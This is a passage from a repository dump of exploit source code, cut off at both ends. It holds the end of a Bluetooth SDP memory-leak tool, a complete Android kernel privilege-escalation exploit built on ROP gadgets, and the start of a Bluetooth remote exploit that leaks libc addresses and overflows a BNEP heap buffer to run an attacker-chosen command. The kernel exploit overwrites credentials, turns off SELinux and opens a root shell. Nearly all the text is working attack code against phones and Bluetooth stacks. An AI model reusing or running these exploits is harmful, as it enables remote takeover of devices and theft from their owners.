sock_fd, int flag) { 174 | void *recv_buf; 175 | __le16 cont_offset; 176 | int ret; 177 | 178 | recv_buf = malloc(0x1000); 179 | ret = recv(sock_fd, recv_buf, 0x1000, 0); 180 | if(ret == -1) { 181 | perror("[-] recv cont_offset : "); 182 | return -1; 183 | } 184 | 185 | memcpy(&cont_offset, recv_buf + ret - 2, 2); 186 | 187 | if(flag == 1) 188 | append_leak_data(recv_buf, ret); 189 | 190 | free(recv_buf); 191 | return cont_offset; 192 | 193 | } 194 | 195 | static int send_leak_req(int sock_fd, __le16 cont_offset) { 196 | void *buf; 197 | char data_head[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN 198 | "\x00\x00" //max reply 199 | "\x02"; // CONTINUATION STATE 200 | char data[40] = {'\0'}; 201 | int data_len = sizeof(data_head) - 1 + sizeof(cont_offset); 202 | int total_len; 203 | 204 | buf = malloc(0x100); 205 | memset(buf, 0, 0x100); 206 | memcpy(data, data_head, sizeof(data_head) - 1); 207 | memcpy(data + sizeof(data_head) - 1, &cont_offset, sizeof(cont_offset)); 208 | 209 | total_len = parse_sdp_service_search_req(buf, data_len, data); 210 | send(sock_fd, buf, total_len, 0); 211 | 212 | free(buf); 213 | 214 | return 0; 215 | } 216 | 217 | static void show_leak_data(){ 218 | int i; 219 | unsigned int *p = (unsigned int *)leak_data; 220 | for(i = 0; i < leak_count/sizeof(unsigned int) ; i++) { 221 | if(i % 4 == 0) 222 | printf("%08x : ", i/4 * 0x10); 223 | printf("%08x " ,p[i]); 224 | if(i % 4 == 3) 225 | printf("\n"); 226 | } 227 | } 228 | 229 | int main(int argc ,char* argv[]){ 230 | int sock_fd, ret; 231 | int i; 232 | __le16 cont_offset; 233 | void *buf, *data, *recv_buf; 234 | int leak_req_count; 235 | char dest[18]; 236 | struct sockaddr_l2 local_l2_addr; 237 | struct sockaddr_l2 remote_l2_addr; 238 | 239 | if(argc != 3){ 240 | printf("usage : sudo ./test TARGET_ADDR LEAK_COUNT\n"); 241 | return -1; 242 | } 243 | strncpy(dest, argv[1], 18); 244 | leak_req_count = strtol(argv[2], NULL, 16); 245 | //char dest[18] = "48:db:50:02:c6:71"; //aosp angler 246 | //char dest[18] = "dc:a9:04:86:45:cc"; // macbookpro 247 | //char dest[18] = "00:1A:7D:DA:71:14"; //linux 248 | // = "00:1a:7d:da:71:13"; //panyu 249 | 250 | 251 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 252 | if(sock_fd == -1){ 253 | perror("[-]socket create failed : "); 254 | return -1; 255 | } 256 | 257 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 258 | local_l2_addr.l2_family = PF_BLUETOOTH; 259 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 260 | 261 | 262 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 263 | if(ret == -1){ 264 | perror("[-]bind()"); 265 | goto out; 266 | } 267 | 268 | 269 | l2cap_set_mtu(sock_fd, 48, 48); 270 | 271 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 272 | remote_l2_addr.l2_family = PF_BLUETOOTH; 273 | remote_l2_addr.l2_psm = htobs(0x1); 274 | str2ba(dest, &remote_l2_addr.l2_bdaddr); 275 | 276 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 277 | perror("[-]Can't connect"); 278 | goto out; 279 | } 280 | 281 | sleep(2); 282 | 283 | leak_data = malloc(leak_req_count + 0x100); 284 | if(leak_data == NULL){ 285 | perror("[-] malloc"); 286 | goto out; 287 | } 288 | 289 | send_first_req(sock_fd); 290 | 291 | cont_offset = get_cont_offset(sock_fd, 0); 292 | 293 | while(leak_count < leak_req_count){ 294 | send_leak_req(sock_fd, cont_offset); 295 | cont_offset = get_cont_offset(sock_fd, 1); 296 | if(cont_offset == -1){ 297 | printf("[-]leak_failed\n"); 298 | goto clean; 299 | } 300 | } 301 | 302 | show_leak_data(); 303 | 304 | printf("\n[+]test done\n"); 305 | 306 | clean: 307 | free(leak_data); 308 | out: 309 | close(sock_fd); 310 | return 0; 311 | } -------------------------------------------------------------------------------- /android_root/aliroot_B/2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "get_root.h" 13 | #define MAGIC_BASE_ADDR 0x30303000 14 | #define MAGIC_BASE_ADDR_WRITE_BASE 0x5500000000 15 | #define MAGIC_BASE_ADDR_WRITE_1 0x5500003000 16 | #define MEM_LEN 0x1000 17 | long kernel_sp; 18 | int fd; 19 | size_t* write_map1 = (size_t *)MAGIC_BASE_ADDR_WRITE_BASE; 20 | size_t* write_map2 = (size_t *)MAGIC_BASE_ADDR_WRITE_1; 21 | extern int patch_selinux_by_change_switch(void *selinux_enforcing,void *selinux_enabled); 22 | #define KERNEL_START 0xffffffc000080000 23 | unsigned int read4bytes(size_t target_address); 24 | 25 | void write_a_10(size_t target_address); 26 | void write8bytes(size_t target_address, size_t content); 27 | 28 | static int read_kernel(void *target,void *buffer,unsigned size){ 29 | unsigned int ret,count = size/4; 30 | unsigned int* dest = buffer; 31 | unsigned int* src = target; 32 | unsigned int i; 33 | for(i=0; iuid+i*8,0); 51 | } 52 | for(i=0;i<4;i++){ 53 | write8bytes((size_t)&cred->cap_inheritable+i*8,0xFFFFFFFFFFFFFFFF); 54 | } 55 | 56 | 57 | 58 | printf("uid : %x\n",getuid()); 59 | 60 | return ret; 61 | } 62 | 63 | static void patch_selinux(){ 64 | /*---patch selinux */ 65 | write8bytes(0xFFFFFFC0006CCBDC-4,0); 66 | write8bytes(0xFFFFFFC00068C020,0); 67 | } 68 | 69 | 70 | static void *find_struct_cred_addr(void *task_struct_addr){ 71 | int ret; 72 | struct task_struct *task; 73 | void *cred_addr = NULL; 74 | unsigned int size = 0x100*sizeof(size_t),i; 75 | int *taskbuf = (int *)malloc(size); 76 | if(!taskbuf){ 77 | printf("[-]malloc task space failed\n"); 78 | return NULL; 79 | } 80 | ret = read_kernel(task_struct_addr,taskbuf,size); 81 | if(ret == -1) 82 | printf("[-]copy task struct failed\n"); 83 | else{ 84 | for(i=0;icpu_timers[0].next == task->cpu_timers[0].prev 87 | &&(unsigned long)task->cpu_timers[0].next > KERNEL_START 88 | &&task->cpu_timers[1].next == task->cpu_timers[1].prev 89 | &&(unsigned long)task->cpu_timers[1].next > KERNEL_START 90 | &&task->cpu_timers[2].next == task->cpu_timers[2].prev 91 | &&(unsigned long)task->cpu_timers[2].next > KERNEL_START 92 | &&task->real_cred == task->cred){ 93 | cred_addr = task->cred; 94 | break; 95 | } 96 | } 97 | } 98 | if(cred_addr ==NULL){ 99 | printf("[-]get cred address failed\n"); 100 | } 101 | else{ 102 | printf("[+]cred address : %p\n",cred_addr); 103 | } 104 | free(taskbuf); 105 | return cred_addr; 106 | } 107 | 108 | static void *get_stask_struct_addr(struct thread_info_head *thread_info){ 109 | void *task_struct_addr = NULL; 110 | int ret; 111 | ret = read_kernel(&thread_info->task,&task_struct_addr,sizeof(struct task_struct *)); 112 | if(ret == -1) 113 | printf("[-]get stask struct address failed\n"); 114 | else 115 | printf("[+]task_struct : %p\n",task_struct_addr); 116 | return task_struct_addr; 117 | } 118 | 119 | int get_root(void *_thread_info){ 120 | void *task_struct_addr,*cred_addr; 121 | struct thread_info_head *thread_info; 122 | int ret; 123 | thread_info = (struct thread_info_head *)_thread_info; 124 | task_struct_addr = get_stask_struct_addr(thread_info); 125 | if(!task_struct_addr){ 126 | return 0; 127 | } 128 | cred_addr = find_struct_cred_addr(task_struct_addr); 129 | if(!cred_addr){ 130 | return 0; 131 | } 132 | ret = patch_cred(cred_addr); 133 | return 1; 134 | } 135 | 136 | void patch_mount(){ 137 | write8bytes(0xFFFFFFC0006C73A8,0xFFFFFFC0000BBDA0);//is_init_mount 138 | write8bytes(0xFFFFFFC0006C72D0+0xc8,0xFFFFFFC0000BBDA0);//remount_check 139 | } 140 | 141 | //0xFFFFFFC0006C72D0 ali_check 142 | 143 | void debug(){ 144 | int flag; 145 | void *address; 146 | void* data[100]; 147 | while(1){ 148 | printf("[+]read 1,write 0:\n"); 149 | scanf("%d",&flag); 150 | printf("[+]input address:\n"); 151 | scanf("%p",&address); 152 | if(flag == 1){ 153 | read_kernel(address,data,8); 154 | printf("[%p] :%p\n",address,data[0]); 155 | } 156 | } 157 | } 158 | 159 | int main(){ 160 | int ret; 161 | size_t leek_sp; 162 | fd = open("/dev/vul_B",O_RDWR); 163 | if ( fd == -1) 164 | perror("open:"); 165 | size_t *buf = (size_t *)malloc(0x1000); 166 | void *map = mmap((void *)MAGIC_BASE_ADDR,MEM_LEN, 167 | PROT_READ | PROT_WRITE | PROT_EXEC, 168 | MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); 169 | if(map == NULL) 170 | perror("map:"); 171 | 172 | write_map1 = mmap((void *)MAGIC_BASE_ADDR_WRITE_BASE,MEM_LEN*5, 173 | PROT_READ | PROT_WRITE | PROT_EXEC, 174 | MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); 175 | if((size_t)write_map1 != MAGIC_BASE_ADDR_WRITE_BASE) 176 | perror("map:"); 177 | 178 | memset(map,0x41,0x1000); 179 | memset(buf,0x41,0x18); 180 | buf[0] = 0xdeadbeef; //0 181 | buf[1] = 0xFFFFFFC0002D3228;//FFFFFFC0002D3228; //x7 182 | buf[2] = 0xFFFFFFC000330DD8;//x8 ret 183 | buf[3] = 0x30303000;// 184 | buf[4] = 0xFFFFFFC0003E9030; 185 | buf[5] = 0xFFFFFFC0003E9030; // 186 | buf[14] = 0xFFFFFFC00016B150; 187 | buf[15] = 0xFFFFFFC0003EF308; 188 | ret = write(fd,buf,0x18); 189 | leek_sp = *(size_t *)((size_t)map+8); 190 | kernel_sp = (size_t)leek_sp & 0xFFFFFFFFFFFFC000; 191 | size_t addr_limit = kernel_sp + 0x8; 192 | printf("[+]kernel_sp : %p\n",(void *)kernel_sp); 193 | 194 | get_root((void *)kernel_sp); 195 | patch_selinux(); 196 | patch_mount(); 197 | system("mount -o remount,rw /system"); 198 | system("echo 1 > /system/bin/su1"); 199 | system("ls -l /system/bin/ | grep su"); 200 | system("echo [+]mount /system OK"); 201 | system("/system/bin/sh"); 202 | 203 | 204 | free(buf); 205 | return 0; 206 | } 207 | 208 | 209 | /*-----write 10-----*/ 210 | 211 | void write_a_10(size_t target_address){ 212 | size_t buf[100]; 213 | unsigned int ret; 214 | memset(buf,0,sizeof(buf)); 215 | buf[0] = 0xdeadbeef; //0 216 | buf[1] = 0xFFFFFFC0002D3228;//FFFFFFC0002D3228; //x7 217 | buf[2] = 0xFFFFFFC000330DD8;//0xFFFFFFC000330DD8;//x8 ret 218 | buf[3] = target_address-0xe0;// 219 | buf[4] = 0xFFFFFFC000321664; 220 | buf[5] = 0xFFFFFFC00016B150; // 221 | buf[6] = 0xFFFFFFC00016B150; 222 | 223 | 224 | ret = write(fd, buf, 0x18); 225 | } 226 | 227 | // ROM:FFFFFFC000330DD8 LDR X2, [X1,#8] 228 | // ROM:FFFFFFC000330DDC LDR X0, [X1] 229 | // ROM:FFFFFFC000330DE0 BLR X2 230 | 231 | // ROM:FFFFFFC000321664 STR W3, [X0,#0xE0] 232 | // ROM:FFFFFFC000321668 LDR X1, [X1,#0x18] 233 | // ROM:FFFFFFC00032166C BLR X1 234 | 235 | 236 | 237 | /*-------read any -----*/ 238 | 239 | unsigned int read4bytes(size_t target_address){ 240 | size_t buf[100]; 241 | unsigned int ret; 242 | memset(buf,0,sizeof(buf)); 243 | buf[0] = 0xdeadbeef; //0 244 | buf[1] = 0xdeadbeef;//0xFFFFFFC0002D3228;//FFFFFFC0002D3228; //x7 245 | buf[2] = 0xFFFFFFC000330DD8;//x8 ret 246 | buf[3] = target_address - 0x30;// target_address - 0x30 247 | buf[4] = 0xFFFFFFC0003E9030; 248 | buf[5] = 0xFFFFFFC0003E9030; // 249 | buf[14] = 0xFFFFFFC00016B150; 250 | buf[15] = 0xFFFFFFC000137A5C; 251 | 252 | ret = write(fd, buf, 0x18); 253 | return ret; 254 | } 255 | 256 | // ROM:FFFFFFC000330DD8 LDR X2, [X1,#8] 257 | // ROM:FFFFFFC000330DDC LDR X0, [X1] ;X0 = target_address - 0x30 258 | // ROM:FFFFFFC000330DE0 BLR X2 259 | 260 | // ROM:FFFFFFC0003E9030 LDR X2, [X1,#0x58] ; 261 | // ROM:FFFFFFC0003E9034 CBZ X2, loc_FFFFFFC0003E9048 262 | // ROM:FFFFFFC0003E9038 LDR X1, [X1,#0x60] ;x1 = 0xFFFFFFC000137A5C 263 | // ROM:FFFFFFC0003E903C BLR X1 264 | 265 | // ROM:FFFFFFC000137A5C LDR X0, [X0,#0x30] 266 | // ROM:FFFFFFC000137A60 BLR X2 267 | 268 | // 0xffffffc0002f92b0 : ldr x0, [x9] ; and x10, x3, x10 ; eor x10, x10, x0 ; str x10, [x9] ; ret 269 | // 0xffffffc000407e88 : ldr x3, [x7, #8] ; blr x3 270 | // 0xffffffc000137a50 : cbz x0, #0xb7a7c ; ldr x2, [x0, #0x28] ; cbz x2, #0xb7a88 ; ldr x0, [x0, #0x30] ; blr x2 271 | 272 | 273 | 274 | /*write anywhere anything*/ 275 | void write8bytes(size_t target_address, size_t content){ 276 | size_t *buf = write_map2; 277 | size_t *buf2 = (size_t *)((size_t)write_map1+0x10); 278 | size_t *x3 = (size_t *)((size_t)write_map1+0x500); 279 | size_t *st1_x3_addr = (size_t *)((size_t)write_map1+0x898); 280 | size_t x0[100]; 281 | 282 | x0[26] = buf2; 283 | x0[5] = 0xFFFFFFC00024321C; 284 | x0[6] = target_address-0x8; 285 | 286 | buf[0] = 0xdeadbeef; 287 | buf[1] = 0xFFFFFFC0002D3228; //x7 288 | buf[2] = 0xFFFFFFC000330DD8; 289 | buf[3] = &x0[0]; 290 | buf[4] = 0xFFFFFFC0003B4834; 291 | buf[7] = 0xFFFFFFC00024321C; 292 | 293 | 294 | buf2[0] = 0xFFFFFFC00016B150; 295 | buf2[12] = x3; 296 | buf2[8] = content; 297 | buf2[5] = (size_t)st1_x3_addr-0x98; 298 | *st1_x3_addr = 0xFFFFFFC000137A54; 299 | 300 | x3[4] = 0xFFFFFFC0002BB1D4; 301 | write(fd, buf, 0x18); 302 | } 303 | // ROM:FFFFFFC000330DD8 LDR X2, [X1,#8] ;0xFFFFFFC00036C9EC 304 | // ROM:FFFFFFC000330DDC LDR X0, [X1] ;target - 0x8 305 | // ROM:FFFFFFC000330DE0 BLR X2 306 | 307 | 308 | // ROM:FFFFFFC0003B4834 LDR X3, [X0,#0xD0] 309 | // ROM:FFFFFFC0003B4838 MOV X1, X3 310 | // ROM:FFFFFFC0003B483C LDR X3, [X3,#0x28] 311 | // ROM:FFFFFFC0003B4840 LDR X3, [X3,#0x98] 312 | // ROM:FFFFFFC0003B4844 BLR X3 313 | 314 | 315 | // ROM:FFFFFFC000137A54 LDR X2, [X0,#0x28] 316 | // ROM:FFFFFFC000137A58 CBZ X2, loc_FFFFFFC000137A78 317 | // ROM:FFFFFFC000137A5C LDR X0, [X0,#0x30] 318 | // ROM:FFFFFFC000137A60 BLR X2 319 | 320 | 321 | 322 | // ROM:FFFFFFC00024321C LDR X3, [X1,#0x60] ;write_map1+0x500 323 | // ROM:FFFFFFC000243220 LDR X2, [X1] ;0xFFFFFFC00016B150 324 | // ROM:FFFFFFC000243224 LDR X3, [X3,#0x20] ;0xFFFFFFC0002BB1D4 325 | // ROM:FFFFFFC000243228 BLR X3 326 | 327 | 328 | // ROM:FFFFFFC0002BB1D4 LDR X1, [X1,#0x40] 329 | // ROM:FFFFFFC0002BB1D8 ADD W3, W22, W3 330 | // ROM:FFFFFFC0002BB1DC BLR X7 331 | 332 | // ROM:FFFFFFC0002D3228 STR X1, [X0,#8] 333 | // ROM:FFFFFFC0002D322C MOV X0, X19 334 | // ROM:FFFFFFC0002D3230 BLR X2 335 | 336 | 337 | // ROM:FFFFFFC00040DCC4 LDR X2, [X1,#0x98] 338 | // ROM:FFFFFFC00040DCC8 CBZ X2, loc_FFFFFFC00040DD2C 339 | // ROM:FFFFFFC00040DCCC LDRH W1, [X1] 340 | // ROM:FFFFFFC00040DCD0 BLR X2 -------------------------------------------------------------------------------- /bluetooth/exploit/exp.c: -------------------------------------------------------------------------------- 1 | //copyright @ 2 | //huahuaisadog@gmail.com 3 | 4 | /*** 5 | ***Only for android devices*** 6 | usage: 7 | $ gcc -o exp exp.c -lbluetooth 8 | $ sudo ./exp TARGET_ADDR SERVER_IP SERVER_PORT 9 | ***/ 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #include "bluetooth_enviroment.h" 25 | #include "dev_config.h" 26 | 27 | static char target_addr[20] = {0}; 28 | static char payload[100] = {0}; 29 | static char overflow_content[9] = {0}; 30 | static void *leak_data = NULL; 31 | static int leak_count = 0; 32 | static unsigned int system_libc; 33 | static unsigned int bss_name; 34 | static int bss_base; 35 | static int libc_base; 36 | struct dev_config *current_dev; 37 | static char *remote_cmd; 38 | 39 | static int data_unpack(int data) { 40 | uint8_t split[4]; 41 | int result = 0; 42 | int i; 43 | for(i = 0; i < 4; i++) 44 | split[i] = (data >> (i*8)) & 0xFF; 45 | for(i = 0; i < 4; i++) 46 | result |= (split[i] << (8*(3-i))); 47 | 48 | 49 | return result; 50 | 51 | } 52 | 53 | #define HEAD_LEN (sizeof(struct l2cap_cmd_hdr)) 54 | static int parse_conn_req(void *buffer, __u8 ident, __le16 len, void *data) { 55 | struct l2cap_cmd_hdr head; 56 | head.code = L2CAP_CONN_REQ; 57 | head.ident = ident; 58 | head.len = len; 59 | memcpy(buffer, &head, sizeof(head)); 60 | memcpy(buffer + sizeof(head), data, len); 61 | } 62 | 63 | 64 | #define SDP_SVC_SEARCH_ATTR_REQ 0x6 65 | static int parse_sdp_search_attr_req(void *buffer, __le16 data_len, void *data){ 66 | sdp_pdu_hdr_t pdu_head; 67 | __le16 tmp; 68 | 69 | memset(&pdu_head, 0, sizeof(pdu_head)); 70 | pdu_head.pdu_id = SDP_SVC_SEARCH_ATTR_REQ; 71 | pdu_head.tid = 0; 72 | tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff); 73 | pdu_head.plen = tmp; 74 | memcpy(buffer, &pdu_head, sizeof(pdu_head)); 75 | memcpy(buffer + sizeof(pdu_head), data, data_len); 76 | return data_len + sizeof(pdu_head); 77 | } 78 | 79 | #define SDP_PDU_SERVICE_SEARCH_REQ 0x02 80 | static int parse_sdp_service_search_req(void *buffer, __le16 data_len, void *data){ 81 | sdp_pdu_hdr_t pdu_head; 82 | __le16 tmp; 83 | 84 | memset(&pdu_head, 0, sizeof(pdu_head)); 85 | pdu_head.pdu_id = SDP_PDU_SERVICE_SEARCH_REQ; 86 | pdu_head.tid = 0; 87 | tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff); 88 | pdu_head.plen = tmp; 89 | 90 | memcpy(buffer, &pdu_head, sizeof(pdu_head)); 91 | memcpy(buffer + sizeof(pdu_head), data, data_len); 92 | return data_len + sizeof(pdu_head); 93 | } 94 | 95 | 96 | static int l2cap_set_mtu(int sock_fd, __le16 imtu, __le32 omtu) { 97 | int ret; 98 | struct l2cap_options option_arg; 99 | socklen_t len ; 100 | memset(&option_arg, 0 ,sizeof(option_arg)); 101 | 102 | ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len); 103 | if(ret == -1){ 104 | perror("[-]getsockopt failed : "); 105 | return -1; 106 | } 107 | 108 | option_arg.imtu = imtu; 109 | option_arg.omtu = omtu; 110 | 111 | ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg)); 112 | if(ret == -1){ 113 | perror("[-]setsockopt failed : "); 114 | return -1; 115 | } 116 | return 0; 117 | } 118 | 119 | static int send_first_req(int sock_fd){ 120 | void *buf; 121 | char data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN 122 | "\x00\x10" //max reply 123 | "\x00"; // CONTINUATION STATE 124 | int total_len; 125 | 126 | buf = malloc(0x100); 127 | memset(buf, 0, 0x100); 128 | total_len = parse_sdp_service_search_req(buf, sizeof(data) - 1, data); 129 | send(sock_fd, buf, total_len, 0); 130 | free(buf); 131 | } 132 | 133 | static void append_leak_data(void *recv_buf, int recv_size) { 134 | int i; 135 | int *p; 136 | if(recv_size < 0x15) 137 | return; 138 | memcpy(leak_data + leak_count, recv_buf + 0x9, recv_size - 0x9 - 0x3); 139 | // printf("size : %x",recv_size); 140 | // for(i = 0, p = recv_buf ; 4*i < recv_size - 0x3; i++){ 141 | // printf("[%d] %x \n", i, *p); 142 | // p++; 143 | // } 144 | // for(i = 0, p = recv_buf + 0x9; 4*i < recv_size - 0x9 - 0x3; i++){ 145 | // printf("[%d] %x \n", i, *p); 146 | // p++; 147 | // } 148 | leak_count += recv_size - 0x9 - 0x3; 149 | } 150 | 151 | static __le16 get_cont_offset(int sock_fd, int flag) { 152 | void *recv_buf; 153 | __le16 cont_offset; 154 | int ret; 155 | 156 | recv_buf = malloc(0x1000); 157 | ret = recv(sock_fd, recv_buf, 0x1000, 0); 158 | if(ret == -1) { 159 | perror("[-] recv cont_offset : "); 160 | return -1; 161 | } 162 | 163 | memcpy(&cont_offset, recv_buf + ret - 2, 2); 164 | 165 | if(flag == 1) 166 | append_leak_data(recv_buf, ret); 167 | 168 | free(recv_buf); 169 | return cont_offset; 170 | 171 | } 172 | 173 | static int send_leak_req(int sock_fd, __le16 cont_offset) { 174 | void *buf; 175 | char data_head[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN 176 | "\x00\x00" //max reply 177 | "\x02"; // CONTINUATION STATE 178 | char data[40] = {'\0'}; 179 | int data_len = sizeof(data_head) - 1 + sizeof(cont_offset); 180 | int total_len; 181 | 182 | buf = malloc(0x100); 183 | memset(buf, 0, 0x100); 184 | memcpy(data, data_head, sizeof(data_head) - 1); 185 | memcpy(data + sizeof(data_head) - 1, &cont_offset, sizeof(cont_offset)); 186 | 187 | total_len = parse_sdp_service_search_req(buf, data_len, data); 188 | send(sock_fd, buf, total_len, 0); 189 | 190 | free(buf); 191 | 192 | return 0; 193 | } 194 | 195 | static void show_leak_data(){ 196 | int i; 197 | unsigned int *p = (unsigned int *)leak_data; 198 | for(i = 0; i < leak_count/sizeof(unsigned int) ; i++) { 199 | if(i % 4 == 0) 200 | printf("%08x : ", i/4 * 0x10); 201 | printf("%08x " ,p[i]); 202 | if(i % 4 == 3) 203 | printf("\n"); 204 | } 205 | } 206 | 207 | static int leak_stack_data() { 208 | int sock_fd; 209 | int i; 210 | __le16 cont_offset; 211 | int leak_req_count; 212 | int ret = -1; 213 | struct sockaddr_l2 local_l2_addr; 214 | struct sockaddr_l2 remote_l2_addr; 215 | 216 | leak_count = 0; 217 | if(leak_data) { 218 | free(leak_data); 219 | leak_data = NULL; 220 | } 221 | 222 | leak_req_count = 0x200; 223 | //char dest[18] = "48:db:50:02:c6:71"; //aosp angler 224 | //char dest[18] = "dc:a9:04:86:45:cc"; // macbookpro 225 | //char dest[18] = "00:1A:7D:DA:71:14"; //linux 226 | // = "00:1a:7d:da:71:13"; //panyu 227 | 228 | 229 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 230 | if(sock_fd == -1){ 231 | perror("[-]socket create failed : "); 232 | return -1; 233 | } 234 | 235 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 236 | local_l2_addr.l2_family = PF_BLUETOOTH; 237 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 238 | 239 | 240 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 241 | if(ret == -1){ 242 | perror("[-]bind()"); 243 | goto out; 244 | } 245 | 246 | 247 | l2cap_set_mtu(sock_fd, 48, 48); 248 | 249 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 250 | remote_l2_addr.l2_family = PF_BLUETOOTH; 251 | remote_l2_addr.l2_psm = htobs(0x1); 252 | str2ba(target_addr, &remote_l2_addr.l2_bdaddr); 253 | 254 | if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) { 255 | perror("[-]Can't connect"); 256 | goto out; 257 | } 258 | 259 | 260 | leak_data = malloc(leak_req_count + 0x100); 261 | if(leak_data == NULL){ 262 | perror("[-] malloc"); 263 | goto out; 264 | } 265 | 266 | send_first_req(sock_fd); 267 | 268 | cont_offset = get_cont_offset(sock_fd, 0); 269 | 270 | while(leak_count < leak_req_count){ 271 | send_leak_req(sock_fd, cont_offset); 272 | cont_offset = get_cont_offset(sock_fd, 1); 273 | if(cont_offset == -1){ 274 | printf("[-]leak data failed\n"); 275 | goto clean; 276 | } 277 | } 278 | 279 | //show_leak_data(); 280 | 281 | ret = 0; 282 | goto out; 283 | clean: 284 | free(leak_data); 285 | leak_data = NULL; 286 | out: 287 | close(sock_fd); 288 | return ret; 289 | } 290 | 291 | static int get_libc_address() { 292 | int *p; 293 | int ret; 294 | p = (int *)leak_data; 295 | libc_base = data_unpack(p[0x100/4]) - current_dev->libc_base_offset; 296 | system_libc = libc_base + current_dev->libc_system_offset + 1;// + 0x2de98 - 0x45f80; 297 | 298 | bss_base = data_unpack(p[0xec/4]) - current_dev->libbluetooth_bss_offset; 299 | bss_name = bss_base + current_dev->libbluetooth_bss_name_offset + 1; 300 | printf("[+]system : %x, bss_name : %x\n", system_libc, bss_name); 301 | return 0; 302 | } 303 | #define HCI_OP_WRITE_LOCAL_NAME 0x0c13 304 | #define HCI_EV_CMD_COMPLETE 0x0e 305 | 306 | static int set_local_dev_name(char *name) { 307 | int dev_id; 308 | int hci_sock; 309 | int ret = 0; 310 | 311 | dev_id = hci_get_route(NULL); 312 | hci_sock = hci_open_dev(dev_id); 313 | if(dev_id < 0 || hci_sock < 0) { 314 | perror("[-]create hci socket\n"); 315 | return -1; 316 | } 317 | 318 | ret = hci_write_local_name(hci_sock, name, 0); 319 | if(ret == -1) { 320 | perror("[-]setname failed\n"); 321 | } 322 | close(hci_sock); 323 | return ret; 324 | } 325 | 326 | 327 | #define BNEP_FRAME_CONTROL 0x01 328 | #define BNEP_SETUP_CONNECTION_REQUEST_MSG 0x01 329 | static int parse_fack_bnep_req(void *buffer, int data_len, void *data){ 330 | __u8 type = BNEP_FRAME_CONTROL; 331 | __u8 extension_present = 1; 332 | __u8 ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG; 333 | __u8 len = 0; 334 | 335 | type = (extension_present << 7) | type; 336 | 337 | memcpy(buffer, &type, 1); 338 | memcpy(buffer + 1, &ctrl_type, 1); 339 | memcpy(buffer + 2, &len, 1); 340 | memcpy(buffer + 3, data, data_len); 341 | 342 | return data_len + 3; 343 | } 344 | 345 | 346 | static void set_payload() { 347 | char *__payload = &payload[1]; 348 | uint16_t event = 0x1717; 349 | memset(payload, 0x42, sizeof(payload)); 350 | memcpy(__payload, &event, 2); 351 | memcpy(__payload + 8, &system_libc, 4); 352 | //memcpy(payload + 8, "aaaa", 4); 353 | strcpy(__payload + 12, remote_cmd); 354 | //payload[20] = '\0'; 355 | } 356 | 357 | static void prepare_heap(int sock_fd) { 358 | __u8 type = 1; 359 | __u8 extension_present = 1; 360 | __u8 ctrl_type = 9; 361 | int i; 362 | char cmd[3] = "\x80\x01\x09"; 363 | char *buffer = malloc(0x310); 364 | 365 | type = (extension_present << 7) | type; 366 | 367 | memcpy(buffer, &type, 1); 368 | memcpy(buffer + 1, &ctrl_type, 1); 369 | for(i = 1; i < 0x100; i++) 370 | memcpy(buffer + 3*i - 1, cmd, 3); 371 | 372 | send(sock_fd, buffer, 0x300, 0); 373 | free(buffer); 374 | } 375 | 376 | static int send_bnep_req(int sock_fd, char *content) { 377 | void *buffer; 378 | int total_len; 379 | buffer = malloc(0x100); 380 | memset(buffer, 0, 0x100); 381 | 382 | total_len = parse_fack_bnep_req(buffer, 0x8, content); 383 | 384 | send(sock_fd, buffer, total_len, 0); 385 | free(buffer); 386 | return 0; 387 | } 388 | 389 | static int send_overflow_data(){ 390 | int sock_fd, ret; 391 | int i; 392 | void *buf, *data, *recv_buf; 393 | struct sockaddr_l2 local_l2_addr; 394 | struct sockaddr_l2 remote_l2_addr; 395 | int count = 0; 396 | 397 | // scanf("%d", &i); 398 | sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP); 399 | if(sock_fd == -1){ 400 | perror("[-]socket create failed : "); 401 | return -1; 402 | } 403 | 404 | memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2)); 405 | local_l2_addr.l2_family = PF_BLUETOOTH; 406 | memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t)); 407 | 408 | 409 | ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2)); 410 | if(ret == -1){ 411 | perror("[-]bind()"); 412 | goto out; 413 | } 414 | 415 | memset(&remote_l2_addr, 0, sizeof(remote_l2_addr)); 416 | remote_l2_addr.l2_family = PF_BLUETOOTH; 417 | remote_l2_addr.l2_psm = htobs(0xF); 418 | str2ba(target_addr, &remote_l2_addr.l2_bdaddr); 419 | 420 | if(connect(sock_fd, (struct sockaddr *) 